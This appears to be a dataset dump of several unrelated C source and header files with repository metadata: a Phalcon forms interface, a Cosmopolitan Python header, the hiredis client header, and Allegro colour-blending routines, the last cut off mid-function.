PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getValue, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getMessages, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, hasMessages, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setMessages, arginfo_phalcon_forms_elementinterface_setmessages)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, appendMessage, arginfo_phalcon_forms_elementinterface_appendmessage)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, clear, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, render, arginfo_phalcon_forms_elementinterface_render)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, toArray, arginfo_empty)
PHP_FE_END
};
/**
* Phalcon\Forms\ElementInterface initializer
*/
PHALCON_INIT_CLASS(Phalcon_Forms_ElementInterface){
PHALCON_REGISTER_INTERFACE(Phalcon\\Forms, ElementInterface, forms_elementinterface, phalcon_forms_elementinterface_method_entry);
return SUCCESS;
}
/**
* Sets the parent form to the element
*
* @param Phalcon\Forms\Form $form
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setForm);
/**
* Returns the parent form to the element
*
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getForm);
/**
* Sets the element's name
*
* @param string $name
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setName);
/**
* Returns the element's name
*
* @return string
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getName);
/**
* Sets the element's filters
*
* @param array|string $filters
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setFilters);
/**
* Adds a filter to current list of filters
*
* @param string $filter
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, addFilter);
/**
* Returns the element's filters
*
* @return mixed
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getFilters);
/**
* Adds a group of validators
*
* @param Phalcon\Validation\ValidatorInterface[]
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, addValidators);
/**
* Adds a validator to the element
*
* @param Phalcon\Validation\ValidatorInterface
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, addValidator);
/**
* Returns the validators registered for the element
*
* @return Phalcon\Validation\ValidatorInterface[]
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getValidators);
/**
* Returns an array of prepared attributes for Phalcon\Tag helpers
* according to the element's parameters
*
* @param array $attributes
* @param boolean $useChecked
* @return array
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, prepareAttributes);
/**
* Sets a default attribute for the element
*
* @param string $attribute
* @param mixed $value
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setAttribute);
/**
* Returns the value of an attribute if present
*
* @param string $attribute
* @param mixed $defaultValue
* @return mixed
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getAttribute);
/**
* Sets default attributes for the element
*
* @param array $attributes
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setAttributes);
/**
* Returns the default attributes for the element
*
* @return array
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getAttributes);
/**
* Sets an option for the element
*
* @param string $option
* @param mixed $value
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setUserOption);
/**
* Returns the value of an option if present
*
* @param string $option
* @param mixed $defaultValue
* @return mixed
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getUserOption);
/**
* Sets options for the element
*
* @param array $options
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setUserOptions);
/**
* Returns the options for the element
*
* @return array
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getUserOptions);
/**
* Sets the element label
*
* @param string $label
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setLabel);
/**
* Returns the element's label
*
* @return string
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getLabel);
/**
* Generate the HTML to label the element
*
* @return string
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, label);
/**
* Sets a default value in case the form does not use an entity
* or there is no value available for the element in $_POST
*
* @param mixed $value
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setDefault);
/**
* Returns the default value assigned to the element
*
* @return mixed
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getDefault);
/**
* Returns the element's value
*
* @return mixed
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getValue);
/**
* Returns the messages that belongs to the element
* The element needs to be attached to a form
*
* @return Phalcon\Validation\Message\Group
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, getMessages);
/**
* Checks whether there are messages attached to the element
*
* @return boolean
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, hasMessages);
/**
* Sets the validation messages related to the element
*
* @param Phalcon\Validation\Message\Group $group
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, setMessages);
/**
* Appends a message to the internal message list
*
* @param Phalcon\Validation\Message $message
* @return Phalcon\Forms\ElementInterface
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, appendMessage);
/**
* Clears every element in the form to its default value
*
* @return Phalcon\Forms\Element
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, clear);
/**
* Renders the element widget
*
* @param array $attributes
* @return string
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, render);
/**
* Returns the element as an array
*
* @return array
*/
PHALCON_DOC_METHOD(Phalcon_Forms_ElementInterface, toArray);
|
bc39cc6057f3a56ec58833288e32936f334cc1e6
|
fdbb74a95924e2677466614f6ab6e2bb13b2a95a
|
/third_party/python/Include/osmodule.h
|
73226fed953bbc3debede730b9601e5e33e01b69
|
[
"ISC",
"Python-2.0",
"GPL-1.0-or-later",
"LicenseRef-scancode-python-cwi",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-other-copyleft"
] |
permissive
|
jart/cosmopolitan
|
fb11b5658939023977060a7c6c71a74093d9cb44
|
0d748ad58e1063dd1f8560f18a0c75293b9415b7
|
refs/heads/master
| 2023-09-06T09:17:29.303607
| 2023-09-02T03:49:13
| 2023-09-02T03:50:18
| 272,457,606
| 11,887
| 435
|
ISC
| 2023-09-14T17:47:58
| 2020-06-15T14:16:13
|
C
|
UTF-8
|
C
| false
| false
| 296
|
h
|
osmodule.h
|
#ifndef Py_OSMODULE_H
#define Py_OSMODULE_H
#include "third_party/python/Include/object.h"
COSMOPOLITAN_C_START_
/* clang-format off */
#if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000
PyObject * PyOS_FSPath(PyObject *path);
#endif
COSMOPOLITAN_C_END_
#endif /* !Py_OSMODULE_H */
|
d6c477e36de7059062604f79b661b260492aa659
|
336d3942e52ba91604d479e590a1e35d6d7c14a4
|
/deps/hiredis/hiredis.h
|
635988b7e1c41f7d5c07b5010b6f334672eac570
|
[
"BSD-3-Clause"
] |
permissive
|
redis/redis
|
8fb932a09677ed8854c94d81c941655eceda2138
|
e792653753dc62b5a00822121e585511542a024b
|
refs/heads/unstable
| 2023-08-29T14:53:21.757052
| 2023-08-27T08:42:55
| 2023-08-27T08:42:55
| 156,018
| 19,822
| 6,754
|
BSD-3-Clause
| 2023-09-14T18:06:48
| 2009-03-21T22:32:25
|
C
|
UTF-8
|
C
| false
| false
| 14,325
|
h
|
hiredis.h
|
/*
* Copyright (c) 2009-2011, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2010-2014, Pieter Noordhuis <pcnoordhuis at gmail dot com>
* Copyright (c) 2015, Matt Stancliff <matt at genges dot com>,
* Jan-Erik Rediger <janerik at fnordig dot com>
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __HIREDIS_H
#define __HIREDIS_H
#include "read.h"
#include <stdarg.h> /* for va_list */
#ifndef _MSC_VER
#include <sys/time.h> /* for struct timeval */
#else
struct timeval; /* forward declaration */
typedef long long ssize_t;
#endif
#include <stdint.h> /* uintXX_t, etc */
#include "sds.h" /* for hisds */
#include "alloc.h" /* for allocation wrappers */
#define HIREDIS_MAJOR 1
#define HIREDIS_MINOR 2
#define HIREDIS_PATCH 0
#define HIREDIS_SONAME 1.1.0
/* Connection type can be blocking or non-blocking and is set in the
* least significant bit of the flags field in redisContext. */
#define REDIS_BLOCK 0x1
/* Connection may be disconnected before being free'd. The second bit
* in the flags field is set when the context is connected. */
#define REDIS_CONNECTED 0x2
/* The async API might try to disconnect cleanly and flush the output
* buffer and read all subsequent replies before disconnecting.
* This flag means no new commands can come in and the connection
* should be terminated once all replies have been read. */
#define REDIS_DISCONNECTING 0x4
/* Flag specific to the async API which means that the context should be clean
* up as soon as possible. */
#define REDIS_FREEING 0x8
/* Flag that is set when an async callback is executed. */
#define REDIS_IN_CALLBACK 0x10
/* Flag that is set when the async context has one or more subscriptions. */
#define REDIS_SUBSCRIBED 0x20
/* Flag that is set when monitor mode is active */
#define REDIS_MONITORING 0x40
/* Flag that is set when we should set SO_REUSEADDR before calling bind() */
#define REDIS_REUSEADDR 0x80
/* Flag that is set when the async connection supports push replies. */
#define REDIS_SUPPORTS_PUSH 0x100
/**
* Flag that indicates the user does not want the context to
* be automatically freed upon error
*/
#define REDIS_NO_AUTO_FREE 0x200
/* Flag that indicates the user does not want replies to be automatically freed */
#define REDIS_NO_AUTO_FREE_REPLIES 0x400
/* Flags to prefer IPv6 or IPv4 when doing DNS lookup. (If both are set,
* AF_UNSPEC is used.) */
#define REDIS_PREFER_IPV4 0x800
#define REDIS_PREFER_IPV6 0x1000
#define REDIS_KEEPALIVE_INTERVAL 15 /* seconds */
/* number of times we retry to connect in the case of EADDRNOTAVAIL and
* SO_REUSEADDR is being used. */
#define REDIS_CONNECT_RETRIES 10
/* Forward declarations for structs defined elsewhere */
struct redisAsyncContext;
struct redisContext;
/* RESP3 push helpers and callback prototypes */
#define redisIsPushReply(r) (((redisReply*)(r))->type == REDIS_REPLY_PUSH)
typedef void (redisPushFn)(void *, void *);
typedef void (redisAsyncPushFn)(struct redisAsyncContext *, void *);
#ifdef __cplusplus
extern "C" {
#endif
/* This is the reply object returned by redisCommand() */
typedef struct redisReply {
int type; /* REDIS_REPLY_* */
long long integer; /* The integer when type is REDIS_REPLY_INTEGER */
double dval; /* The double when type is REDIS_REPLY_DOUBLE */
size_t len; /* Length of string */
char *str; /* Used for REDIS_REPLY_ERROR, REDIS_REPLY_STRING
REDIS_REPLY_VERB, REDIS_REPLY_DOUBLE (in additional to dval),
and REDIS_REPLY_BIGNUM. */
char vtype[4]; /* Used for REDIS_REPLY_VERB, contains the null
terminated 3 character content type, such as "txt". */
size_t elements; /* number of elements, for REDIS_REPLY_ARRAY */
struct redisReply **element; /* elements vector for REDIS_REPLY_ARRAY */
} redisReply;
redisReader *redisReaderCreate(void);
/* Function to free the reply objects hiredis returns by default. */
void freeReplyObject(void *reply);
/* Functions to format a command according to the protocol. */
int redisvFormatCommand(char **target, const char *format, va_list ap);
int redisFormatCommand(char **target, const char *format, ...);
long long redisFormatCommandArgv(char **target, int argc, const char **argv, const size_t *argvlen);
long long redisFormatSdsCommandArgv(hisds *target, int argc, const char ** argv, const size_t *argvlen);
void redisFreeCommand(char *cmd);
void redisFreeSdsCommand(hisds cmd);
enum redisConnectionType {
REDIS_CONN_TCP,
REDIS_CONN_UNIX,
REDIS_CONN_USERFD
};
struct redisSsl;
#define REDIS_OPT_NONBLOCK 0x01
#define REDIS_OPT_REUSEADDR 0x02
#define REDIS_OPT_NOAUTOFREE 0x04 /* Don't automatically free the async
* object on a connection failure, or
* other implicit conditions. Only free
* on an explicit call to disconnect()
* or free() */
#define REDIS_OPT_NO_PUSH_AUTOFREE 0x08 /* Don't automatically intercept and
* free RESP3 PUSH replies. */
#define REDIS_OPT_NOAUTOFREEREPLIES 0x10 /* Don't automatically free replies. */
#define REDIS_OPT_PREFER_IPV4 0x20 /* Prefer IPv4 in DNS lookups. */
#define REDIS_OPT_PREFER_IPV6 0x40 /* Prefer IPv6 in DNS lookups. */
#define REDIS_OPT_PREFER_IP_UNSPEC (REDIS_OPT_PREFER_IPV4 | REDIS_OPT_PREFER_IPV6)
/* In Unix systems a file descriptor is a regular signed int, with -1
* representing an invalid descriptor. In Windows it is a SOCKET
* (32- or 64-bit unsigned integer depending on the architecture), where
* all bits set (~0) is INVALID_SOCKET. */
#ifndef _WIN32
typedef int redisFD;
#define REDIS_INVALID_FD -1
#else
#ifdef _WIN64
typedef unsigned long long redisFD; /* SOCKET = 64-bit UINT_PTR */
#else
typedef unsigned long redisFD; /* SOCKET = 32-bit UINT_PTR */
#endif
#define REDIS_INVALID_FD ((redisFD)(~0)) /* INVALID_SOCKET */
#endif
typedef struct {
/*
* the type of connection to use. This also indicates which
* `endpoint` member field to use
*/
int type;
/* bit field of REDIS_OPT_xxx */
int options;
/* timeout value for connect operation. If NULL, no timeout is used */
const struct timeval *connect_timeout;
/* timeout value for commands. If NULL, no timeout is used. This can be
* updated at runtime with redisSetTimeout/redisAsyncSetTimeout. */
const struct timeval *command_timeout;
union {
/** use this field for tcp/ip connections */
struct {
const char *source_addr;
const char *ip;
int port;
} tcp;
/** use this field for unix domain sockets */
const char *unix_socket;
/**
* use this field to have hiredis operate an already-open
* file descriptor */
redisFD fd;
} endpoint;
/* Optional user defined data/destructor */
void *privdata;
void (*free_privdata)(void *);
/* A user defined PUSH message callback */
redisPushFn *push_cb;
redisAsyncPushFn *async_push_cb;
} redisOptions;
/**
* Helper macros to initialize options to their specified fields.
*/
#define REDIS_OPTIONS_SET_TCP(opts, ip_, port_) do { \
(opts)->type = REDIS_CONN_TCP; \
(opts)->endpoint.tcp.ip = ip_; \
(opts)->endpoint.tcp.port = port_; \
} while(0)
#define REDIS_OPTIONS_SET_UNIX(opts, path) do { \
(opts)->type = REDIS_CONN_UNIX; \
(opts)->endpoint.unix_socket = path; \
} while(0)
#define REDIS_OPTIONS_SET_PRIVDATA(opts, data, dtor) do { \
(opts)->privdata = data; \
(opts)->free_privdata = dtor; \
} while(0)
typedef struct redisContextFuncs {
void (*close)(struct redisContext *);
void (*free_privctx)(void *);
void (*async_read)(struct redisAsyncContext *);
void (*async_write)(struct redisAsyncContext *);
/* Read/Write data to the underlying communication stream, returning the
* number of bytes read/written. In the event of an unrecoverable error
* these functions shall return a value < 0. In the event of a
* recoverable error, they should return 0. */
ssize_t (*read)(struct redisContext *, char *, size_t);
ssize_t (*write)(struct redisContext *);
} redisContextFuncs;
/* Context for a connection to Redis */
typedef struct redisContext {
const redisContextFuncs *funcs; /* Function table */
int err; /* Error flags, 0 when there is no error */
char errstr[128]; /* String representation of error when applicable */
redisFD fd;
int flags;
char *obuf; /* Write buffer */
redisReader *reader; /* Protocol reader */
enum redisConnectionType connection_type;
struct timeval *connect_timeout;
struct timeval *command_timeout;
struct {
char *host;
char *source_addr;
int port;
} tcp;
struct {
char *path;
} unix_sock;
/* For non-blocking connect */
struct sockaddr *saddr;
size_t addrlen;
/* Optional data and corresponding destructor users can use to provide
* context to a given redisContext. Not used by hiredis. */
void *privdata;
void (*free_privdata)(void *);
/* Internal context pointer presently used by hiredis to manage
* SSL connections. */
void *privctx;
/* An optional RESP3 PUSH handler */
redisPushFn *push_cb;
} redisContext;
redisContext *redisConnectWithOptions(const redisOptions *options);
redisContext *redisConnect(const char *ip, int port);
redisContext *redisConnectWithTimeout(const char *ip, int port, const struct timeval tv);
redisContext *redisConnectNonBlock(const char *ip, int port);
redisContext *redisConnectBindNonBlock(const char *ip, int port,
const char *source_addr);
redisContext *redisConnectBindNonBlockWithReuse(const char *ip, int port,
const char *source_addr);
redisContext *redisConnectUnix(const char *path);
redisContext *redisConnectUnixWithTimeout(const char *path, const struct timeval tv);
redisContext *redisConnectUnixNonBlock(const char *path);
redisContext *redisConnectFd(redisFD fd);
/**
* Reconnect the given context using the saved information.
*
* This re-uses the exact same connect options as in the initial connection.
* host, ip (or path), timeout and bind address are reused,
* flags are used unmodified from the existing context.
*
* Returns REDIS_OK on successful connect or REDIS_ERR otherwise.
*/
int redisReconnect(redisContext *c);
redisPushFn *redisSetPushCallback(redisContext *c, redisPushFn *fn);
int redisSetTimeout(redisContext *c, const struct timeval tv);
int redisEnableKeepAlive(redisContext *c);
int redisEnableKeepAliveWithInterval(redisContext *c, int interval);
int redisSetTcpUserTimeout(redisContext *c, unsigned int timeout);
void redisFree(redisContext *c);
redisFD redisFreeKeepFd(redisContext *c);
int redisBufferRead(redisContext *c);
int redisBufferWrite(redisContext *c, int *done);
/* In a blocking context, this function first checks if there are unconsumed
* replies to return and returns one if so. Otherwise, it flushes the output
* buffer to the socket and reads until it has a reply. In a non-blocking
* context, it will return unconsumed replies until there are no more. */
int redisGetReply(redisContext *c, void **reply);
int redisGetReplyFromReader(redisContext *c, void **reply);
/* Write a formatted command to the output buffer. Use these functions in blocking mode
* to get a pipeline of commands. */
int redisAppendFormattedCommand(redisContext *c, const char *cmd, size_t len);
/* Write a command to the output buffer. Use these functions in blocking mode
* to get a pipeline of commands. */
int redisvAppendCommand(redisContext *c, const char *format, va_list ap);
int redisAppendCommand(redisContext *c, const char *format, ...);
int redisAppendCommandArgv(redisContext *c, int argc, const char **argv, const size_t *argvlen);
/* Issue a command to Redis. In a blocking context, it is identical to calling
* redisAppendCommand, followed by redisGetReply. The function will return
* NULL if there was an error in performing the request, otherwise it will
* return the reply. In a non-blocking context, it is identical to calling
* only redisAppendCommand and will always return NULL. */
void *redisvCommand(redisContext *c, const char *format, va_list ap);
void *redisCommand(redisContext *c, const char *format, ...);
void *redisCommandArgv(redisContext *c, int argc, const char **argv, const size_t *argvlen);
#ifdef __cplusplus
}
#endif
#endif
|
f2631e2e491f229837bdb52313d817f90ec587fe
|
e75e0d76a6172e0c3732cfce4bd653d23fd4d556
|
/libsrc/allegro/src/colblend.c
|
617a8eb7a00103f2f550c08a0063553627a36b6d
|
[
"LicenseRef-scancode-unknown-license-reference",
"Artistic-2.0"
] |
permissive
|
adventuregamestudio/ags
|
002f7b88f26a30fc87467027479ea2303aad8a87
|
a19c52bae9d8513bcb68924c0c4f11717dde90e7
|
refs/heads/master
| 2023-09-03T23:32:15.839443
| 2023-05-31T09:08:56
| 2023-09-03T00:53:12
| 4,607,043
| 548
| 152
|
NOASSERTION
| 2023-09-13T20:12:10
| 2012-06-09T12:21:04
|
C++
|
UTF-8
|
C
| false
| false
| 9,677
|
c
|
colblend.c
|
/* ______ ___ ___
* /\ _ \ /\_ \ /\_ \
* \ \ \L\ \\//\ \ \//\ \ __ __ _ __ ___
* \ \ __ \ \ \ \ \ \ \ /'__`\ /'_ `\/\`'__\/ __`\
* \ \ \/\ \ \_\ \_ \_\ \_/\ __//\ \L\ \ \ \//\ \L\ \
* \ \_\ \_\/\____\/\____\ \____\ \____ \ \_\\ \____/
* \/_/\/_/\/____/\/____/\/____/\/___L\ \/_/ \/___/
* /\____/
* \_/__/
*
* Interpolation routines for hicolor and truecolor pixels.
*
* By Cloud Wu and Burton Radons.
*
* Alpha blending optimised by Peter Cech.
*
* See readme.txt for copyright information.
*/
#include "allegro.h"
#include "allegro/internal/aintern.h"
#define BLEND(bpp, r, g, b) _blender_trans##bpp(makecol##bpp(r, g, b), y, n)
#define T(x, y, n) (((y) - (x)) * (n) / 255 + (x))
/* _blender_black:
* Fallback routine for when we don't have anything better to do.
*/
uint32_t _blender_black(uint32_t x, uint32_t y, uint32_t n)
{
return 0;
}
#if (defined ALLEGRO_COLOR24) || (defined ALLEGRO_COLOR32)
#if (defined ALLEGRO_NO_ASM) || (!defined ALLEGRO_I386)
/* i386 asm version is in imisc.s */
/* _blender_trans24:
* 24 bit trans blender function.
*/
uint32_t _blender_trans24(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t res, g;
if (n)
n++;
res = ((x & 0xFF00FF) - (y & 0xFF00FF)) * n / 256 + y;
y &= 0xFF00;
x &= 0xFF00;
g = (x - y) * n / 256 + y;
res &= 0xFF00FF;
g &= 0xFF00;
return res | g;
}
#endif /* C version */
/* _blender_alpha24:
* Combines a 32 bit RGBA sprite with a 24 bit RGB destination.
*/
uint32_t _blender_alpha24(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t xx = makecol24(getr32(x), getg32(x), getb32(x));
uint32_t res, g;
n = geta32(x);
if (n)
n++;
res = ((xx & 0xFF00FF) - (y & 0xFF00FF)) * n / 256 + y;
y &= 0xFF00;
xx &= 0xFF00;
g = (xx - y) * n / 256 + y;
res &= 0xFF00FF;
g &= 0xFF00;
return res | g;
}
/* _blender_alpha32:
* Combines a 32 bit RGBA sprite with a 32 bit RGB destination.
*/
uint32_t _blender_alpha32(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t res, g;
n = geta32(x);
if (n)
n++;
res = ((x & 0xFF00FF) - (y & 0xFF00FF)) * n / 256 + y;
y &= 0xFF00;
x &= 0xFF00;
g = (x - y) * n / 256 + y;
res &= 0xFF00FF;
g &= 0xFF00;
return res | g;
}
/* _blender_alpha24_bgr:
* Combines a 32 bit RGBA sprite with a 24 bit RGB destination, optimised
* for when one is in a BGR format and the other is RGB.
*/
uint32_t _blender_alpha24_bgr(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t res, g;
n = x >> 24;
if (n)
n++;
x = ((x>>16)&0xFF) | (x&0xFF00) | ((x<<16)&0xFF0000);
res = ((x & 0xFF00FF) - (y & 0xFF00FF)) * n / 256 + y;
y &= 0xFF00;
x &= 0xFF00;
g = (x - y) * n / 256 + y;
res &= 0xFF00FF;
g &= 0xFF00;
return res | g;
}
#endif /* end of 24/32 bit routines */
#if (defined ALLEGRO_COLOR15) || (defined ALLEGRO_COLOR16)
/* _blender_trans16:
* 16 bit trans blender function.
*/
uint32_t _blender_trans16(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
if (n)
n = (n + 1) / 8;
x = ((x & 0xFFFF) | (x << 16)) & 0x7E0F81F;
y = ((y & 0xFFFF) | (y << 16)) & 0x7E0F81F;
result = ((x - y) * n / 32 + y) & 0x7E0F81F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_alpha16:
* Combines a 32 bit RGBA sprite with a 16 bit RGB destination.
*/
uint32_t _blender_alpha16(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
n = geta32(x);
if (n)
n = (n + 1) / 8;
x = makecol16(getr32(x), getg32(x), getb32(x));
x = (x | (x << 16)) & 0x7E0F81F;
y = ((y & 0xFFFF) | (y << 16)) & 0x7E0F81F;
result = ((x - y) * n / 32 + y) & 0x7E0F81F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_alpha16_rgb
* Combines a 32 bit RGBA sprite with a 16 bit RGB destination, optimised
* for when both pixels are in an RGB layout.
*/
uint32_t _blender_alpha16_rgb(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
n = x >> 24;
if (n)
n = (n + 1) / 8;
x = ((x>>3)&0x001F) | ((x>>5)&0x07E0) | ((x>>8)&0xF800);
x = (x | (x << 16)) & 0x7E0F81F;
y = ((y & 0xFFFF) | (y << 16)) & 0x7E0F81F;
result = ((x - y) * n / 32 + y) & 0x7E0F81F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_alpha16_bgr
* Combines a 32 bit RGBA sprite with a 16 bit RGB destination, optimised
* for when one pixel is in an RGB layout and the other is BGR.
*/
uint32_t _blender_alpha16_bgr(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
n = x >> 24;
if (n)
n = (n + 1) / 8;
x = ((x>>19)&0x001F) | ((x>>5)&0x07E0) | ((x<<8)&0xF800);
x = (x | (x << 16)) & 0x7E0F81F;
y = ((y & 0xFFFF) | (y << 16)) & 0x7E0F81F;
result = ((x - y) * n / 32 + y) & 0x7E0F81F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_trans15:
* 15 bit trans blender function.
*/
uint32_t _blender_trans15(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
if (n)
n = (n + 1) / 8;
x = ((x & 0xFFFF) | (x << 16)) & 0x3E07C1F;
y = ((y & 0xFFFF) | (y << 16)) & 0x3E07C1F;
result = ((x - y) * n / 32 + y) & 0x3E07C1F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_alpha15:
* Combines a 32 bit RGBA sprite with a 15 bit RGB destination.
*/
uint32_t _blender_alpha15(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
n = geta32(x);
if (n)
n = (n + 1) / 8;
x = makecol15(getr32(x), getg32(x), getb32(x));
x = (x | (x << 16)) & 0x3E07C1F;
y = ((y & 0xFFFF) | (y << 16)) & 0x3E07C1F;
result = ((x - y) * n / 32 + y) & 0x3E07C1F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_alpha15_rgb
* Combines a 32 bit RGBA sprite with a 15 bit RGB destination, optimised
* for when both pixels are in an RGB layout.
*/
uint32_t _blender_alpha15_rgb(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
n = x >> 24;
if (n)
n = (n + 1) / 8;
x = ((x>>3)&0x001F) | ((x>>6)&0x03E0) | ((x>>9)&0xEC00);
x = (x | (x << 16)) & 0x3E07C1F;
y = ((y & 0xFFFF) | (y << 16)) & 0x3E07C1F;
result = ((x - y) * n / 32 + y) & 0x3E07C1F;
return ((result & 0xFFFF) | (result >> 16));
}
/* _blender_alpha15_bgr
* Combines a 32 bit RGBA sprite with a 15 bit RGB destination, optimised
* for when one pixel is in an RGB layout and the other is BGR.
*/
uint32_t _blender_alpha15_bgr(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t result;
n = x >> 24;
if (n)
n = (n + 1) / 8;
x = ((x>>19)&0x001F) | ((x>>6)&0x03E0) | ((x<<7)&0xEC00);
x = (x | (x << 16)) & 0x3E07C1F;
y = ((y & 0xFFFF) | (y << 16)) & 0x3E07C1F;
result = ((x - y) * n / 32 + y) & 0x3E07C1F;
return ((result & 0xFFFF) | (result >> 16));
}
#endif /* end of 15/16 bit routines */
#ifdef ALLEGRO_COLOR16
#define BF16(name) name
#else
#define BF16(name) _blender_black
#endif
#if (defined ALLEGRO_COLOR24) || (defined ALLEGRO_COLOR32)
#define BF24(name) name
#else
#define BF24(name) _blender_black
#endif
/* these functions are all the same, so we can generate them with a macro */
#define SET_BLENDER_FUNC(name) \
void set_##name##_blender(int r, int g, int b, int a) \
{ \
set_blender_mode(BF16(_blender_##name##15), \
BF16(_blender_##name##16), \
BF24(_blender_##name##24), \
r, g, b, a); \
}
SET_BLENDER_FUNC(trans);
/* set_alpha_blender:
* Sets the special RGBA blending mode.
*/
void set_alpha_blender(void)
{
BLENDER_FUNC f15, f16, f24, f32;
int r, b;
/* check which way around the 32 bit pixels are */
if ((_rgb_g_shift_32 == 8) && (_rgb_a_shift_32 == 24)) {
r = (_rgb_r_shift_32) ? 1 : 0;
b = (_rgb_b_shift_32) ? 1 : 0;
}
else
r = b = 0;
#ifdef ALLEGRO_COLOR16
/* decide which 15 bit blender to use */
if ((_rgb_r_shift_15 == r*10) && (_rgb_g_shift_15 == 5) && (_rgb_b_shift_15 == b*10))
f15 = _blender_alpha15_rgb;
else if ((_rgb_r_shift_15 == b*10) && (_rgb_g_shift_15 == 5) && (_rgb_b_shift_15 == r*10))
f15 = _blender_alpha15_bgr;
else
f15 = _blender_alpha15;
/* decide which 16 bit blender to use */
if ((_rgb_r_shift_16 == r*11) && (_rgb_g_shift_16 == 5) && (_rgb_b_shift_16 == b*11))
f16 = _blender_alpha16_rgb;
